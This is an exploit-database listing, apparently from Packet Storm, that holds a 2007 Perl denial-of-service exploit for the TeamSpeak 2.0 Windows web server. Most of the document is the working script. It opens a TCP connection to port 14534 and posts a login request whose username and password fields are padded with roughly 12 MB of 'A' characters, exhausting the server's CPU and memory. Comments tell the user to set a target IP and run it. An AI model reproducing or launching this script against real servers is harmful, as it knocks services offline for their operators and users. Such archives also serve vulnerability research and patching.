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teamspeak-dos.txt

๐Ÿ—“๏ธย 21 Jul 2007ย 00:00:00Reported byย Yag KohhaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstormsecurity.com๐Ÿ‘ย 15ย Views

Remote Denial of Service exploit for TeamSpeak 2.0 by Yag Kohha, causing high resource usage.

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Code
`#!/usr/bin/perl  
  
# TeamSpeak 2.0 (Windows Release) Remote D0S Exploit by Yag Kohha (skyhole [at] gmail.com)  
# Vendor URL: http://www.goteamspeak.com/  
# TeamSpeak WebServer has no tcp session expire and no checks for incoming values length.  
# TODO:   
# Edit $target value   
# Run script  
# CPU 100%, Memory up for 1.2 Gb per one attack session.  
# Greetz: str0ke & milw0rm proj  
  
use IO::Socket;  
  
$target = 'xxx.xxx.xxx.xxx';  
$port_tcp=14534;  
  
$buffer_ascii= 'A' x 0xc00000;  
$buffer_dig= '659090';  
$req = "username\=$buffer_ascii\&password\=$buffer_ascii\&serverport\=$buffer_dig\&submit\=Login";  
$uagent = 'Mozilla 5.0';  
my $res;  
my $tmp;  
  
print "\nStarting D0S\n\n";  
my $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$target", PeerPort=>"$port_tcp") or die "\n Could not connect to host\n\n";  
  
print $sock "POST /login.tscmd HTTP/1.1\r\n";  
print $sock "Host: ".$target."\r\n";  
print $sock "User-Agent: ".$uagent."\r\n";  
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";  
print $sock "Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\r\n";  
print $sock "Accept-Encoding: gzip,deflate\r\n";  
print $sock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";  
print $sock "Connection: close\r\n";  
print $sock "Referer: http://".$target."/slogin.html\r\n";  
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";  
print $sock "Content-Length: ".length($req)."\r\n\r\n";  
print $sock $req;  
print $sock "\n";  
  
while ( $res = <$sock> ) {  
$tmp.= $res;   
}  
print $tmp;  
close($sock);  
  
`

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21 Jul 2007 00:00Current
7.4High risk
Vulners AI Score7.4
15
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